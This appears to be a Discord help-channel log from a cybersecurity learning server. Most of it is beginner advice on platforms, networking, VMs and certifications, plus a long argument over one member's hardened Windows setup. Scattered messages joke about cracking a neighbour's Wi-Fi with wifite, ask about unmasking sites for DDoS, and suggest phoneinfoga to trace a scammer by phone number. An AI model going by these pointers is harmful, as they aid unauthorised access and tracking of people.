👥・help-me

[unkempt idol]

try hack me or hack the box for beginners wanting to learn pen testing

?

[fleet plover]

What role are you in within cyber if you don’t mind me asking?

Go on Amazon, I got mine for cheap a while back when I was interested in wireless Pentesting

[fleet plover]

TryHackMe first then gravitate toward hackthebox, I personally feel like hack the box isn’t as friendly

[sour sleet]

Right now I’m mostly aiming for web pentesting ^^

[lime swallow]

ok ill figure it out i made it this far im just messing around for curiosity and educational purposes

does any one know anything about pokemon vending machine’s

[sour sleet]

I’ve bought this one pretty reliable and not to bulky

ALFA NETWORK Type-C WiFi USB,... https://www.amazon.de/dp/B08SJC78FH?ref=ppx_pop_mob_ap_share

[whole patio]

https://github.com/morrownr/USB-WiFi/blob/main/home/Recommended_Adapters_for_Kali_Linux.md

Basically - avoid realtek chipsets

That being said - "wifi hacking" has next to no real world relevance. Those videos are largely staged

[lime swallow]

thank yall so much !!! i already went out the other day and bought a netgear nighthawk axe3000 n it wasn’t compatible wasnt trying to go waste any more money if i didn’t kno what i was buying

[fleet plover]

That’s my biggest weak spot, web

[whole patio]

There's nothing you will find there, if you already struggle to get there, seriously

[tight stream]

You will have to elaborate your intentions for any help with darkweb

[sullen raptor]

I need a partner someone to work with in here am new please

[whole patio]

If someone is thinking of asking what Olly needs.. he elaborated in a different channel.. needs to make money

You are on the wrong server, bud

[wintry wharf]

Does anyone know cool things to do with a homelab

I am thinking about making one

[plain grotto]

someone from us or asia or someone with a VPN who can help me, I'm doing OSINT and I'm stuck. :(.

[river hull]

host a media server on jellyfin. you can torrent your media with a vpn or rip your dvd collection

[wintry wharf]

If I were to host a media server, would I have to pay for movies and is it high bandwidth

[north fog]

Huu

I wanna conduct some research on indirect prompt injections. Can someone help me?

[tawny swift]

you can start by looking into how indirect prompt injection works through external data sources like web pages, docs, or plugins. check out OWASP s work on LLM security and prompt injection, and try building small test setups where an LLM processes untrusted input focus on how to detect or mitigate it, like input fltering, context separation, and output validation

[north fog]

I'm using portswigger academy for the indirect prompt injection labs

Oki got it

[whole patio]

Why are you asking "us"? You should be the one to tell you how high bandwidth your connection is.
Also you would have to pay for movies or not pay for them the same you do now

[wintry wharf]

Alr thanks

[fleet plover]

Cool handle

[tawny swift]

Welcome to OwlSec! 👋

Hey there 😄 We’re really happy to have you with us. Hope you and your loved ones are doing great 🤗
This server is all about learning, sharing, and growing ethically in cybersecurity and hacking. If you’re here to explore, practice, or get help, check out:
#👥・new-member-guide
#👥・help-me
#💕・free-resources
#📜・certs-and-career

Programming:
Python, Ruby, Go (sololearn, codedex, freecodecamp)
JS, PHP, ASPX, SQL (portswigger)
C, C++, Assembly, Rust (pwn college)
Learn what you need, when you need it.

Networking: Try NetAcad (THM + HTB Academy also help)
OS: Windows (PowerShell) & Linux (Bash)
After basics: TryHackMe, HackTheBox, and similar platforms
Most important: Build the right mindset 🙂

E-Books to start with:
Cybersecurity-focused books:
https://security-books.notion.site/

🚫 Please remember: We strictly prohibit any unethical or harmful activities. Let’s maintain a safe, respectful, and responsible learning environment. 💛 #📜・rules

[steady palm]

@vast phoenix Please change your PFP.

Profile picture

@vast phoenix I am not asking you again.

[lime swallow]

so ur saying i wont be able to use wifite to get my neighbors wifis passcodes lol

[fleet plover]

I need help from the red teamers/pentesters

[whole patio]

I'm not your real mom, feel free to invest as much time and money into it, as you like

[whole patio]

So ask a question https://dontasktoask.com/

[oblique brook]

What kind of help?

[oblique brook]

Don’t be so harsh

[sour sleet]

and what exactly do you need?

[final wasp]

In port swigger lab Manipulating the WebSocket handshake to exploit vulnerabilities
in these lab my ip is blocked normaly by lab after it i mistakenly lost all websocket history now to move further i want websocket history to reconnect but because my history has gone and my ip is blocked i once again unable to connect to live chat what to do now pls help meNow my current situation is i lost all websocket history and my ip has block what i can do next

[shy turtle]

Hi newbie to this world confused on how to get started goal: purple team any advice? Currently just python knowledge n bash

[oblique brook]

Learn offense technique and suggest defenses 😅

[shy turtle]

Any place of recommendation?😅

[oblique brook]

No 🙂

[shy turtle]

Will certs help

[oblique brook]

I don’t know. I only have experience, no theory or certificate

[shy turtle]

Ohk that's cool I wanna experience too just confusing to not know exactly were to push wat a drag 😣 ooh well guess we learn by trying

[obsidian patrol]

Send a dm

[oblique brook]

Try to learn hardening first

[shy turtle]

Ohk I'll look it up

[tawny swift]

certificates just give you confidence, having a cert doesn’t mean you’re skilled or you’re gonna make money

[obsidian patrol]

You guys should teach me something please 🥺

[oblique brook]

Thank you for making me feel better

[tawny swift]

you’re a complete beginner?

[oblique brook]

Learn hardening

[obsidian patrol]

Yes

[shy turtle]

Same here complete newbie

[oblique brook]

What operating system do you use?

[tawny swift]

start with networking, for youtube go with network chuck he’s good on networking but everything else is basically just him larping, go on netacad.com and complete the beginner networking tut it will teach you everything and then review by watching network chuck, that’s how i started my cyber journey

[shy turtle]

Mainly Mac but I do run a Ubuntu VM

[oblique brook]

I don’t know much about Mac, and to be honest not even about Linux

[plain grotto]

Hello guys, I'm on my phone. I was doing some OSINT research but I get tired and went to sleep, but I can't really sleep, I'm still thinking about it, haha. Could someone please archive this site on the Wayback Machine? I don't have a VPN on my phone and can't access the site from my country.
https://www.sato-shokai.jp/parking/

[tawny swift]

mac just makes everything harder

[obsidian patrol]

So I should go on netacad.com

[shy turtle]

Yeah I noticed

[oblique brook]

Learn common attack paths and attack methods. Then find out how to prevent them or contain them

[tawny swift]

yup, and make sure you have a notebook and you write info in it. it will help you A LOT, and make sure you use AI it will help you a lot too.

[obsidian patrol]

Okay I will do so

[tawny swift]

mac only good if you do credit fraud

[shy turtle]

Thing is i don't even know understand how to reason wireshark or nmap which makes me feel dumb so something to understand that would be cool

I'll get a home PC but I'll run a full Linux OS im not really into windows

[oblique brook]

WireShark is about analyzing traffic. This isn’t ideal. The ideal is to prevent non-explicit traffic.

How to do this: on the Firewall, block connections in inbound/incoming and outbound/outgojng. Then add rules exceptions which add Internet access only for specific apps. Afterwards, limit the internet access for those specific apps to only the TCP ports 80, 443, and 53, and the UDP port 53

[tawny swift]

focus first on basics like how tcp/ip works, what ports are how requests/responses look then when you use nmap or wireshark, try to map what you see to those concepts instead of just running commands. you’ll understand over time.

[oblique brook]

Just block internet access when not required

[fleet plover]

@sour sleet @oblique brook @whole patio I’ve been on the red teaming/pentester path for almost 2 years now, 1 consistently and I don’t even plan on getting . How do you guys measure your progress? I just do ctfs as well writeups on them but I feel like I’m not really growing. Also how would you recommend breaking into the field? The odds of me getting a pentest/red teaming job right away is highly unlikely so I was aiming to just grab a help desk that has AD and networking elements or a sysadmin job as it’ll be a stepping stone to pentest/red teaming job with personal projects (I have quite a few). A ciso himself told me not to chase certs, what do you guys think as well as where are you in your journey?

[oblique brook]

I’m a defender with red teaming friends.

I have my modded version of Windows, we stress test my operating system against attack methods and notice gaps or where verification is confident.

[sour sleet]

Well a good way to measure progress is defiant to try harder ctfs
(Htb has ctfs from easy to insane)
A classical way to see your progress is actually go for a cert like
CPTS or OSCP+ if your able to pay the fee

[tender island]

hello guys can someone help with duqu 2.0

[fleet plover]

Wth, I never heard of modded windows

[sour sleet]

About my personal journey
I study info sec an put myself a challenge I’m planing to take the CWES in 8 months and 3 weeks

[sour sleet]

That does sound very interesting

[whole patio]

Sounds good

[fleet plover]

Some ctfs aren’t realistic but I’ll look into those certs, I’m planning on making the transition to hackthebox as I’m hearing everyone is moving away from TryHackMe.

[sour sleet]

Oh definitely! Move to htb less hand holding and the legacy boxes even have a indicator how realistic they are

[oblique brook]

It’s Windows 10 but the binaries are customized and replaced, the apps are switched with Windows XP apps, and the appearance was modified to look like Windows XP. At the same time, there are local accounts which don’t have access to system binaries, the local accounts don’t have access to the registry, the file system has been divided between writable folders and executable folders without overlap, there are fake information to make malware self-destruct after it thinks a real hardware machine is a virtual machine, the services are disabled until only 80 of them are open, some drivers were disabled in the Device Manager, the installation of drivers is blocked by group policy and NTFS ACLs, the services taskhostw.exe and services.exe have the mitigation MicrosoftSignedOnly, the third party software are elevated to SYSTEM intentionally, and much more

[oblique brook]

@sour sleet

[sour sleet]

Also the ranked system doesn’t count all the boxes you pwnd but only the active ones so it’s a better measurement how your skills are right now ^^

[fleet plover]

You set that up yourself? That sounds advanced

[oblique brook]

I downloaded a modded Windows 10 that had the graphics and sounds replaced with Windows XP, the apps replaced to Windows XP, and most defenses disabled. Then I added my security on top of this original setup

[oblique brook]

It may sound weird but I work better when I’m under constraints

[oblique brook]

I have a documentation file for my operating system. Would you like to see it?

[fleet plover]

Sure as long as it isn’t a downloadable link loll, no offense but look at this environment 😂 why blue teaming if you don’t mind me asking, More jobs?

[oblique brook]

I started learning defense because I was curious and scared. Now I’m not scared anymore, just angry at overly-permissive defaults

[oblique brook]

I can’t send files here, I will try to send the text in your DMs if you’re ok with it

[whole patio]

Is this that weird "gaming optimized" windows? Forgot the name

[oblique brook]

Not at all

[wet gate]

funny how people r so schizo around links

[whole patio]

AtlasOS was the name

[oblique brook]

I don’t click links either

[fleet plover]

That’s wassup, I was told that a defender has to be right every time what do you think?

[slim basalt]

hey would anyone mind checking out my SOC Homelab ive been working on? i really just want some feedback if possible !

[whole patio]

Not right, successful

[fleet plover]

Is that a bad way to think?

[oblique brook]

That’s not the goal, the goal is influencing the return on investment and removing the easy paths. The rest doesn’t have priority

[fleet plover]

Sure

[wet gate]

not really it’s just ur not gonna get hit with some browser sandbox escape and RCE zero day

at most, an ip leak, and obviously if you click on a link and it asks you to login to something then be cautious

[oblique brook]

But you could, so you better disable JIT and GPU from your browser, and use the flag RendererCodeIntegrity

[wet gate]

yeah man lemme know if you ever find that in the wild so i can be the first to do a write up on it

[oblique brook]

I haven’t found it on the wild, but I’ll keep my strict control flow guard just in case

[wet gate]

cuz chances are you’ll never come across something like that in your life unless you’re actively hunting for it lol

[oblique brook]

🫂

@wet gate did you know I open my browser inside a single-purpose account and restrict the token using the SAFER subsystem for the broker? 🙂

[whole patio]

Sure, thats common knowledge that you do that

Says so right here in our DB

[oblique brook]

👀

[fleet plover]

Idk half the things you guys are saying 🥀

[oblique brook]

What would you like to learn?

[wet gate]

no

but that’s cool cgz ig

[fleet plover]

Ofc, that’s why I joined this chat, to learn from everyone else

[oblique brook]

cgz?

[oblique brook]

Yeah, which concept would you like to learn?

[fleet plover]

I was lost from everything that was said since you was talking about your modded windows 🥀

[oblique brook]

Ok. Anything in particular you’re curious?

[fleet plover]

What was the purpose for that build, For training like some metasploitable type?

[wet gate]

congrats

[oblique brook]

No, it’s a return on investment manipulation lab machine which serves for research and guard off hackers

[oblique brook]

I make my research there (like how mandatory integrity control interacts with user account control) and at the same time I cause enough friction and confusion to make any hacker leave

[fleet plover]

Ofc ik what 0day is but How about the “browser sandbox escape”

[wet gate]

browsers are in a sandbox when u use them

code that is potentially executed arbitrary or remotely, needs to get out of that sandbox in order to run code on your machine

therefore browser sandbox escape

[fleet plover]

Ok cool that makes more sense

[oblique brook]

You need to understand what a browser is made of.

The component that touches the website is called the renderer, and it’s restricted by AppContainer.

The component that manages the browser (in Google’s case it’s the browser itself) itself called the broker.

Obviously, the broker has more privileges than the renderer. So a sandbox escape tries to make a code execution (JavaScript vulnerability abused by the website) take control of the broker (the browser app) to execute more privileged codes.

[fleet plover]

Let me guess, you’re on the offensive side?

[oblique brook]

Let me know if you need further information 🙂

[wet gate]

somewhat do both

[fleet plover]

Appreciate it, sheesh, it’s really levels 🥀

[oblique brook]

It’s easy to understand. The website loads in a sandbox, and the overseer is the app. The sandbox is the renderer process, and the overseer is called broker

[fleet plover]

Yes I get that but I’m talking about generally

[oblique brook]

Ok, I’m happy to help

[fleet plover]

And I appreciate that, How long you been on your cyber journey ?

[oblique brook]

9 months

[fleet plover]

Certs?

[oblique brook]

None

[fleet plover]

Broke into the field yet or you’re trying to?

[oblique brook]

I’m just having fun

[fleet plover]

Felt you on that, I actually gravitated toward this field due to WiFi Pentesting, just to find out it’s not really in demand as every other type but I still do it just for fun

[oblique brook]

I’m not going to connect to public Wi-Fi. And I always use AdGuard DNS rather than whatever the modem uses

I also did protocol stripping and only have IPv4

[fleet plover]

It’s no way you did all of this with 9 months of knowledge

[oblique brook]

It was in the first month. The rest was refinement

[fleet plover]

So what’s your goals if you care to share? You sound like you really know your stuff

[oblique brook]

I want to keep myself secure, troll hackers, and relax

[fleet plover]

How would you know if a hacker is targeting you, firewall notis?

[tawny swift]

if he doesn’t want you to know, you won’t know

[oblique brook]

Kernel-boot logs, Firewall logs, unknown services, unknown files, mitigation logs, unexpected tasks, defenses being disabled, HVCI logs, MeasuredBoot, and more.

[oblique brook]

You will if you know MeasuredBoot

[fleet plover]

Also why the ip strip

[oblique brook]

Less attack surface

[fleet plover]

Sheesh bro wtf😂

[oblique brook]

What’s wrong?

[fleet plover]

You sound tough🔥, genuinely

[oblique brook]

It’s the basics

I don’t need IPv6 so I disable IPv6

[fleet plover]

Yea ik just overall

[wet gate]

you sound schizo like genuinely

someone who is 9 months into cyber being like this is funny to me

anyways to each their own

[oblique brook]

Why?

[oblique brook]

Eh, I don’t know if it’s a compliment

[wet gate]

ur acting as if the NSA are after u or something lol

[oblique brook]

You have to act like this

[wet gate]

u really don’t like at all

[fleet plover]

I gotta agree

[wet gate]

been in the game 10 or so years, never needed to do the amount of stuff you’ve done lmfao

[steady palm]

Yeah i agree with resetti 100%

[oblique brook]

You’re probably less aware or something, because the more I learn the more exposed I feel

[wet gate]

like idk who you think is gonna target you lol

[wet gate]

less aware of what?

[oblique brook]

Risks and configuration

[fleet plover]

@oblique brook how afraid were you? There has to be an origin story, a missing piece 😂

[wet gate]

i’m behind a firewall, as are 90% of most peoples internet, nobody is getting into my network from the internet lol

[oblique brook]

Nah, I already said I work better under constraints

[wet gate]

and nobody has

[oblique brook]

Because a Firewall works best when your computer is in idle 🙂

[wet gate]

“hackers” do not spend time trying to get into your router from the net, then pivot onto your machine

[oblique brook]

You have to earn this confidence, not assume it

[wet gate]

it’s 90% malware nowadays, unless you are a business

[wet gate]

10 years in the game btw

[steady palm]

Bro what?

[steady palm]

Here's a good resource for you. Might give you some background
https://www.youtube.com/watch?v=HVsIWgnMPuQ

[wet gate]

genuine question, what risks am i exposed to?

[oblique brook]

Doesn’t mean you can start assuming without doing real policy work. You don’t know that the weakest link for vulnerabilities are convenience and compatibility?

[oblique brook]

This question is too broad

[wet gate]

so what risks are you exposed to then?

since you seem to have sorted out everything and have it all locked down

[oblique brook]

Mostly in-memory-only remote command execution under selective kernel bugs and a non-standard configuration that deviates from approved setups

[oblique brook]

On the opposite, I make my trade-offs public

[wet gate]

holy shit dude yeah you are a paranoid schizophrenic

you actually just said ur risk is that of 0day kernel level exploits

[oblique brook]

Because that’s the only meaningful next step

[wet gate]

well to each their own

i honestly just find it funny

[oblique brook]

My primitives trust the kernel and the firmware, there’s no other way

[oblique brook]

I don’t?

[wet gate]

i know you don’t because ur very serious about the risk of u being hit by some kernel level 0day made by the nso group or something lol

which again, to each their own

i just find it unnecessary and overkill

[oblique brook]

It’s just about theoretical security under practical risks. I optimize both, like a real defender should

[wet gate]

but hey i guess when eternalblue 2.0 comes around you’ll be all good !

[wet gate]

yh but nobody is attacking u in the first place

[oblique brook]

Bro, I’m literally the reason that red teamers don’t have to work under simple tricks

[wet gate]

and if they are they’re doing it with malware

[oblique brook]

That’s just a practical observation

[wet gate]

no it’s because ur not a business

or a known rich individual

[oblique brook]

And how do you know that

[wet gate]

or most likely some politician

[wet gate]

because you are one singular person talking to me right now

on one account

[steady palm]

whos been into cyber for 9 months....

[wet gate]

unless you claim you yourself and you is your business lol

[wet gate]

this guy

[fleet plover]

Ya got me weak rn😂

[wet gate]

which if that’s the case, fair, self employment is a thing

[oblique brook]

Doesn’t mean anything. Don’t you know about information asymmetry?

[wet gate]

but nobody is targeting you

i don’t think u understand the goals of TAs these days

[oblique brook]

I know

I optimize for high friction, low payoff, and no trust on feedback

[wet gate]

u yap a lot of buzz words without actually saying anything too

[steady palm]

Are you replying striaght out of GPT ?

[wet gate]

it’s funny

[steady palm]

Ok we have been cluttering this help me chat for long enough lol. Lets rather just move on. What started as a normal , interesting convo is proving to be really useless. Lmao

[wet gate]

“i optimise for high friction low payoff no trust zero day functionality with my kernel level debugger running a constant monitor of code caves and polymorphic setups of binaries using large language model training with 18 firewall confirmations to ensure that the configuration of the box is as smooth as it can be 😎”

[oblique brook]

You don’t understand my mindset 🙂

[wet gate]

this is how u talk

[wet gate]

i do it’s one of a schizo

anyways

i was told to stop using that word

sorry

[steady palm]

You are right with that but we also dont want that mindset, so can we move one please?

As this channel is for helping. You can always go to dm's

@oblique brook Please read my message before hitting send

omf....essay incoming

Wall of text

[fleet plover]

@oblique brook chill😂

[oblique brook]

No, I’m saying that an attacker would have high friction (restrictive permissions, services that don’t execute, apps that don’t exist, folders are separated between writable and executable), low payoff (no credentials or logins or documents), and feedback void (denied access is met with multiple different error messages, from different primitives, and in some cases the feedback isn’t visible or can intentionally be mistaken as misconfiguration)

[oblique brook]

Ok

[steady palm]

Resetti has mentioned in here before hes open to dm's so please take it there. This channel is reserved fo helping

[oblique brook]

Ok

[wet gate]

and i’m saying an attacker would never target you in the first place

also, malware would bypass most of those preventions

but anyways let’s move on

[steady palm]

Please take it to dm's gents

[steady palm]

Loved your talk on malware btw 👍

[wet gate]

appreciate it

[lament obsidian]

Guys I need help here. I want to begin Malware Analysis and basically having an attacker machine which is Kali Linux and a Victim Machine hopefully flare Windows 11 but I’m soo worried it’s gonna seep to my actual computer even though it’s in a virtual machine with an internal network

[oblique brook]

Have you tried a bare-metal hypervisor?

[lament obsidian]

No what is that?

[oblique brook]

A manager of virtual machines that doesn’t run inside an external operating system

[lament obsidian]

How do I do that?

[oblique brook]

Good question, I need to learn this myself

[wet gate]

it wont

u aint gotta worry about that

just keep disconnected from internet

and dont use shared folders or shared clipboard that type of stuff

[tight oak]

Yo guys i need help with CTF task that requires decryption of PDF, but also the task is kinda unclear and im getting out of ideas, anyone could help?

[lament obsidian]

What about have an internal network so I can have an attack machine and a victim?

[wet gate]

bruteforce it with john

[tight oak]

tried

[wet gate]

yeah sure

[tight oak]

also cant really blindly bruteforce, cuz theres so many combinations

[lament obsidian]

Hmm ok but can’t zero day attacks or attacks that actual go for the hardware cause?

[tight oak]

woudl take a day or smth

[oblique brook]

Yes but only APTs have virtual machine escapes

[wet gate]

if its a ctf should be in rockyou.txt

[lament obsidian]

Hmm ok thanks

[wet gate]

yeah, and ur never gonna run into that in your life

[lament obsidian]

Alright I just gotta watch what malware I test tbh 😭

[wet gate]

no malware you analyse will have an active working zeroday for ur vm

[lament obsidian]

Why is that?

[wet gate]

this cyberskiller ctf shit is so trash

[tight oak]

real

[wet gate]

because is unbelievably rare, and you are not a threat hunter

[wet gate]

sorry ive got no idea about them

[tight oak]

:(

[oblique brook]

Too targeted, too specific, needs to bypass attack surface reduction, too expensive to build

[lament obsidian]

Ohhh yeah tbh that makes sense

Ok today I will disable clipboard and copy and paste, no shared folders, internal network and then I’ll just test it

Thanks @oblique brook @wet gate

[oblique brook]

If you want to be paranoid, run the virtual machine inside a separate user account 🙂

[lament obsidian]

Ohhh ok thanks

[oblique brook]

It doesn’t help much, just to prevent reading files from your main account

[lament obsidian]

Probably will do becuase im hella paranoid my laptop has got years of important information

[oblique brook]

Are you on Windows or Linux?

[lament obsidian]

I’m on Windows

[oblique brook]

Good, then you should know about NTFS permissions

[lament obsidian]

Yeah but never used it

[oblique brook]

You could use NTFS. As you know, a deny entry takes precedence over an allow entry, and this is enforced by the kernel

[lament obsidian]

Tbh I’ve never even touched it ever so I’m have to experiment

[oblique brook]

It’s ok, it’s easy to understand. Remember:
blank: no permission.
allow: grant permission.
deny: prevent the permission from being used.

Also, NTFS wants that you create the same group for allow, if you want fine-grained permissions that allow some things but deny some things.

[lament obsidian]

I will defo be doing this once I can the more security the better

Thanks so much bro

[junior onyx]

is there anything to test my self in network+ journy like a website of quizes or whatever?

[wet gate]

u could ask chatgpt to give you some network+ related questions, then answer them, and see how you do

also: https://www.examcompass.com/comptia/network-plus-certification/free-network-plus-practice-tests

[junior onyx]

thanks

[dusky pelican]

Fun fact: android is based on linux

[junior onyx]

what about operating system is there any useful website for quizes (I prefer ask experts then AI)

any answer?

[tawny swift]

netacad, thm, htb

[dry wing]

is freecodecamp a good place to learn python?

[wet gate]

ye

[wet gate]

https://www.proprofs.com/quiz-school/story.php?title=operating-system-test-1
https://quizlet.com/835210734/operating-systems-quiz-questions-flash-cards/

google exists btw

just search "operating system quiz" mane

[amber mortar]

i feel lost i need some help i dont know where to start

[wet gate]

#👥・new-member-guide

[austere dirge]

What has you lost

[tight stream]

Any idea about any online cloud vm hosting service that doesnt require a card/payment verification?

[whole patio]

I'd be surprised if there are any freely available to you

Its like.. people with the same question tend to use them for nefarious reasons, somehow

[wet gate]

ur not gonna find that

anywhere

[tight stream]

🥲

I didnt really have much hope, but just wanted to try my luck here

[wet gate]

u might be able to get some free azure credit or something with a promitional link

but dont expect to be able to do much on the servers themselves

you most likely wont have root access to be able to do anything

[tight stream]

Yeah, currently I am practicing on an ubuntu distro using ditrosea, but I cant save anything, and have to install everything again everytime

I was planning to switch to kali if I could find an online vm

[wet gate]

do you have a computer?

lol just setup your own VM with virtualbox

download ubuntu or kali image

import

done

[tight stream]

I dont have storage to spare

And this computer has some important data as well, I am just scared that I will mess something up while setting vm

[wet gate]

make some

[wet gate]

you'll be fine

[whole patio]

it wont mess up anything, although you do need enough space to install the VM

It is, for all intents and purposes, just a big file on the computer

[balmy bolt]

Hello I am not sure if this is really the place to ask this. I am very new to discord. But I am wanting to us Arch on a mac mini with an M1 chip. I have seen information that says its possible but I have also seen where its not exactly compatiable. Can anyone provide some guidance. I just found out about linux a few days ago and want to try to dive in and learn as much as I can

[wet gate]

do not put arch on a mac mini

you will break your entire computer

either setup a VM on the mac, and dont use arch, unless you are very experienced with Linux

[static dawn]

😂

[wet gate]

MacOS is Unix based as it is, you can learn a lot from just opening the MacOS terminal and googling for linux fundamental commands

[static dawn]

bro i put kali on a macbook

[wet gate]

good for u

[static dawn]

it dont break my computer

[wet gate]

kali is a lot safer than arch, you cant break it with one command

[ebon elm]

? did apple implement hardware level security that will short everything if something other than macOS runs? (they probably will do something like that in the next 10 years)

its not the end of the world if he did that

[wet gate]

no

but its arch

and i would assume he is a beginner if he is brand new to discord

no beginner should touch arch, as i said, they will end up breaking their computer

just download VMWare or Virtualbox, and setup a VM, simple as that

[somber orbit]

I installed arch as a beginner and didn’t brick my computer but that’s survivorship bias, if you’re a beginner you genuinely don’t even need arch there is no point in installing it in the first place literally all I did on arch was English homework and then I went back to windows lol

100% agree on the vm it takes 10 minutes to set up

vs 12 hours with arch 😭

[whole patio]

was it an arm based architecture

[whole patio]

Not with THAT attitude you cant ^^

[whole patio]

linux bare metal on arm based mac hardware is not quite supported.. there are some projects who attempt to, but nothing you really want, unless you like pain

[wet gate]

LOL

[fossil trellis]

Hello

I need help

[slow sky]

whats better? certificates or work experince (internships)

[whole patio]

#1482326165329809489 message

[slow sky]

thanks boss 🫡

[blazing hemlock]

I need help when doing an encrypted process injection, for some reason the shellcode fails to run (it crashes the injected process). Can anyone help me debug my steps?

[tawny swift]

cant help you with that mate, what you’re asking for is literally help with exploit development techniques

[wet gate]

nothing can be done, sorry

contact the authorities

and sit down with your auntie and explain clearly to her about these scams

[misty badge]

Understand

Understood will do thank you

What is accounts.google.com why is it always in front of my websites that I go to?

[jade lintel]

That like an account to something tho or a site

[jade lintel]

Give a dm tho @misty badge

[wet gate]

the official google account website

lol

[jade lintel]

Exactly

[lament obsidian]

Ngl came to the conclusion of using a whole ass new laptop 🤣🤣🤣

No files nothing

It’ll be safe

[real helm]

How do I get a exact ip adress of a website

[woven hazel]

ping example.com

[real helm]

Yeah but they can still hide it

For example with cloudfare

[woven hazel]

getting the real ip isn't usually possible unless its misconfigured then

[real helm]

How is it not possible

How do people ddos for example

They get it somehow

[woven hazel]

usually DDOSers (larp larp larp) rely on misconfigs, leaks or old cached dns records

[lethal verge]

95% of "DDOSers" can't ddos

[wet gate]

layer 7 attacks

[wet gate]

or this

[real helm]

I don’t know how true this is but I see for example rippersec going crazy

They me ddosing a lot

[wet gate]

ddosers are useless creatures that cant do shit

"going crazy" and its just a 1 hour attack that leaves their net dead for a week

[woven hazel]

Totally

[real helm]

Well it does damage especially when they do it to government websites

Not only govement but it can make damage to business aswell

[wet gate]

no it doesnt LMFAO

and furthermore as i said, ddosers attacks dont last long at all, their net either dies and the site comes back up or it gets mitigated pretty quickly

[real helm]

Where would you recommend to learn hacking

[wet gate]

https://tryhackme.com/hacktivities

[static dawn]

everybody wanna be hacking lol

[steel lake]

Hi

Can someone help me to get my Gmail

[grizzled token]

https://tenor.com/view/bro-is-finished-cooked-finished-dog-closing-eyes-dog-with-eyes-closed-gif-8933440936102921947

[static dawn]

did u add a recovery email on it

[steel lake]

No boss

[gritty shell]

Does anyone have any advice for what part of I.T. to focus on before seriously pushing to learn Cybersec?

My foundation is reasonably broad but shallow, and I'm wondering what kinds of things I need to be good at already to be good at cybersec.

What's the most important thing to have a strong foundation in before even touching cybersec? Networking?

[woven hazel]

Just contact google support.

[woven hazel]

yeah, networking is definitely the #1 foundation

after that, basic linux and windows admin skills, file systems and some scripting really help

[gritty shell]

Cool. Thanks for the answer. :)

[steel lake]

Some have hacked my account but I use Google account to login so can someone help me to recovery

[wet gate]

not possible, contact the support team for the account you lost

[steel lake]

Some have hacked my efootball account but I use Google account to login so can someone help me to recovery

[teal spoke]

So i think you will need to try to "kick" the hackers out of you're google account and enable 2FA and maybe change passwords and then try to see if you can get them out of you're efootbal account

[wet gate]

not possible, contact the support team for the account you lost

[sour sleet]

im so bad at SQLI i just bashed my head through the wall for 4 hours anyone got some good ressources to work on SQLI ive done both THM and THB basic rooms for the topic >///<

[bold igloo]

👋 hello.

I am kinda new to all of this,

I want to break into cybersecurity and networking,
I know the job field is abysmal and oversaturated, I am still want to get into this field and become a professional.

Now my definition of professional dose not mean I get a 9 to 5 job in this field, to me it mean I can do what ever I need in this field and have a relatively comfortable life after wards. To freelancing is okay or gig work is okay as long as it puts food the table.

Now, I was hopping to get the experts from here's help on how to get started, what i need, and how long it should normally take and what to do to start earning after getting the appropriate skills.

Please can anyone help me see the light end of the tunnel?

Thank you.

[fair beacon]

Anyone know an efficient way i can learn CSS and JS?

[sour sleet]

w3school and doing your own projects ^^

[fair beacon]

Noted, thanks

[sour sleet]

Check out these useful channels:
#📜・certs-and-career
#💕・free-resources
#👥・new-member-guide

Programming:

• Tools/Automation: Python, Ruby, Go (sololearn, codedex, freecodecamp, etc)
• Web exploitation: JavaScript, PHP, ASPX, SQL (portswigger)
• Binary Exploitation: C, C++, Assembly, Rust (pwn college)
  Learn any or all above langs as per requirement

Networking: netacad is good platform (THM and HTB Academy)
OSes: Windows (especially powershell), Linux (especially bash)
After covering fundamentals: Tryhackme, Hackthebox, similar platforms for hands on
Most important: Mindset with Insanity
Ebooks to read for cybersecurity:

Cybersecurity centric books:

• https://security-books.notion.site/

mabe by 乙3尺0 𖠆

[hollow hinge]

Please can someone help me to create PayPal account

[fluid gulch]

Just sign up on the website

[indigo gull]

How to find someone using a phone number

They scam me 1500 through zelle

Please help me

[sullen pollen]

This hacking stuff is hard and ion know where to even start

[bold igloo]

Thank you

[devout linden]

We dont do this. Ready the #📜・rules please

[whole patio]

Maybe give it a couple more years until your basic foundation in IT has grown?

[cold comet]

I just bought a pc off a mutual, I was trynna play val but the computer is HWID banned. Do I try to return the pc and get another one or is there a way to get around it

[random yoke]

look the ph no. by the phoneinfoga tool it will tell you their location region country and which simcard they have

[whole patio]

If you try to circumvent it, you run into several other issues.

for example windows no longer accepting your computer as registered to that activation or account

[cold comet]

for this ill just have to buy another key right? if this is the biggest issues i dont mind

is it worth it tho?

[whole patio]

I said "for example" - you are asking us to predict your mindset about dealing with future issues as of yet not realized.. entirely up to you

[crimson harness]

Omg someone pls help

[wet stream]

Yooo

Hello guys

Can anyone help me

Getting hacking tools

🙂

But even if you help me ( every thing I do is at my own risk)

[whole patio]

You have been here long enough to know you have to actually use your words to ask a question

[whole patio]

install Kali

it has installation guides on its website

[whole patio]

ah, just your good old crossposter

[wet stream]

R u sure?

[whole patio]

About what

You want tools, you install a tool suite

[wet stream]

Ok

Thxxx

[whole patio]

whether YOU are sure though, thats between you and yourself

[twilit marsh]

Hi. Can i learn hacking (probably self taught) as a first year IT student?

What is y'all's advice?

[wet gate]

yes

[whole patio]

You can start - it is going to be a quite long journey

But also you do not "need" to start.. depending on what kind of student you are, you may have your hands full already

[delicate flume]

Hey guys, I’m having an issue with my laptop brightness. When I’m using Windows the screen brightness works perfectly, but when I boot into Kali Linux the brightness controls don’t seem to work at all.

Has anyone faced this before or knows how to fix it? Any help would be appreciated! 🙂

[whole patio]

Depends on whether your make and model has drivers and support from the manufacturer

Not all hardware specific gadgets may work out of the box.. fingerprint sensors and calibration sensors are notorious for that.. some GPU or fan controls.. and maybe sometimes brightness controls

Funnily enough I had that recently the other way around.. linux brightness keys worked fine, but the same device did not have that function with win11

[delicate flume]

Ok dude I tried some tools and searched online and I found the amd driver is my lap doesn't support that Thanks for you reply

[whole patio]

You are probably not the only one in this situation, and quite often some thanksless communities are working on it.

[delicate flume]

but when i used a year ago it works fine but now I am having the brightness issue

[whole patio]

Yeah that can happen.. if a manufacturer does not support it, volunteers do.. and those implementations may break for some reason or another. Happens with commercial support, too, when stuff is end of life or they just dont care about linux

may suddenly work with a firemware update, may suddenly break with one - may work tomorrow, may work in a year

That is one of the reasons we like to suggest to check the linux support of hardware beforehand

I am fond of thinkpads, for instance - they have a long history of excellent linux support, and so some hardware functions are supported on linux, that do not work on windows anymore ^^

[delicate flume]

why are people doing like this in hardware and updates😕

